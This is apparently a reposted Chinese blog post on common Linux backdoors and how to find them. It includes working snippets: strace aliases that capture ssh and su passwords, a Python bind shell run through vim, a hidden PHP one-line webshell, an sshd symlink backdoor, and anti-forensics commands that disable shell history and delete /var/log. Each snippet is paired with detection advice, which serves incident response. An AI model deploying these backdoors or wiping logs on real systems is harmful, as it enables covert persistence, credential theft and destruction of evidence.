- 最近遇到一些和后门相关的技术,所以就把之前的linux backdoor相关笔记重新整理和学习了一下。在这里做一下记录,后续有时间整理一下windows backdoor方面的技术。
- 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见技巧以及公开的 工具 进行剖析介绍。
- 当然现在有一些公司在发现入侵之后直接重装系统,那么基本所有的后门就无法发挥权限维持的作用了,但作为一个安全从业人员还是需要对一些后门有一个基本的了解。
常见技巧
strace记录ssh登录密码
ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh' 也可记录 su密码 su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su'
- 优点:改动较小
- 缺点:易被检测到
-
排查:通过排查 shell 的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias问题。
vim后门
#enter the mal script directory 、execute the script and then remove the script cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
-
此方法适用于安装了vim且安装了 python 扩展(绝大部分默认安装)的 linux 系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如python版本的正向后门监听11端口。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
- 优点:通过查看/proc/
id
/cmdline查看不到具体执行了什么命令或恶意脚本。 - 缺点:仍可以看到有vim进程
- 排查:检测对应vim进程号虚拟目录的map文件是否有python字眼。
- 参考文章 Weapons of Text Destruction.
终端解析\r导致的问题
echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||< ';?>" >/var/www/html/test.php
- 优点:通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马。
- 缺点:易被检测,只是通过终端命令查看的时候看不到恶意代码,而通过其它读文件操作或者通过vim编辑的时候仍可以查看恶意代码。
- 排查:使用编辑器或者一般的webshell扫描工具即可检测。
一些命令导致truncated的问题
- 在使用ps进行进程查看的时候,不知道很多人会不会遇到这种问题,命令很长被截断的问题,终端显示有时候为了美观,可能会截断较长的命令,比如在使用docker ps -a查看container的时候,可能你的command列会显示不全,那么使用docker ps -a –no-trunc让其显示完全。同样在使用ps命令查看进程的时候,也存在这种问题。可以在其填充大量的空格进行截断,那么就可达到“进程隐藏”的效果。
- 其中使用了xhide工具 github地址 进行进程名的修改。
- 优点:简单
- 缺点:易被检测到
- 排查:通过ps -aux|grep 可疑进程的pid 即可显示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令进行查看。
常见sshd后门
-
一种是建立sshd的软连接方法,开启其它的端口例如
ln -sf /usr/sbin/sshd /home/su /home/su -oport=2222
-
优点:简单
- 缺点:易被检测到
- 排查:使用netstat -antlp查看可疑端口,然后ls -l 可执行文件即可。
- 另外一种就是通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。
- 优点:隐蔽性较好
- 缺点:暂无
- 排查:这种sshd后门一般可能会有一定的特征,可以通过strings sshd |grep ‘[1-9]{1,3}.[1-9]{1,3}.’或者通过strace 查看是否有可疑的写文件操作。
定时任务和开机启动项
- 一般的挖矿木马喜欢设置定时任务来进行驻留或者进行分时段的挖矿。
- 排查:一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。
预加载型动态链接库后门 ld.so.preload
- 可能有些人不太了解,简单说一下,就是我们在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生hijack。
- 如上图所示,strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式),如果我们将我们事先写好的恶意so文件位置写入ld.so.preload文件这个时候就会达到“劫持”的效果。
- 比较好用的工具是Vegile和cub3
Vegile
cub3 ,这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。 - 更多参考:
Linux文件系统扩展属性 - 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是Vlany,github地址 https://github.com/mempodippy/vlany
警惕利用Linux预加载型恶意动态链接库的后门 - 优点:可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言,隐藏性较好,相对于内核模块rootkit来说,兼容性更好,编写难道低
- 缺点:暂无
- 排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。
进程注入
- 使用ptrace向进程中注入恶意so文件工具linux-inject, github地址
内核级rootkit
- 内核级的rootkit也很多,这里简单推荐一个Diamorphine
github地址 - 优点:隐藏性较好
- 缺点:编写难度有点儿高
- 排查:可以通过unhide等工具进行排查
antiForensics的技巧
# 避免shell命令被记录 export HISTSIZE=0 && export HISTFILE=/dev/null # 删除各种log信息,很暴力但确实很有效。 rm -rf /var/log
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 如何排查常见挖矿木马
- Kubernetes 网络故障常见排查方法
- linux常见backdoor及排查技术
- Flink Checkpoint超时问题常见排查思路
- [译] Kubernetes Deployment 故障排查常见方法
- 重启大法好!线上常见问题排查手册
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
精通Windows应用开发
[美] Jesse Liberty Philip Japikse Jon Galloway / 苏宝龙 / 人民邮电出版社 / 59.00元
Windows 8.1的出现不仅提供了跨设备的用户体验,也提供了跨设备的开发体验。本书着眼于实际项目中所需要的特性,以及现有C#编程知识的运用,对如何最大限度地利用Metro、WinRT和Windows 8进行了讲解,内容详尽,注重理论学习与实践开发的配合。 Windows 8.1和WinRT的作用及其特殊性 如何使用先进特性创建具有沉浸感和吸引力的Windows 8.1应用 如......一起来看看 《精通Windows应用开发》 这本书的介绍吧!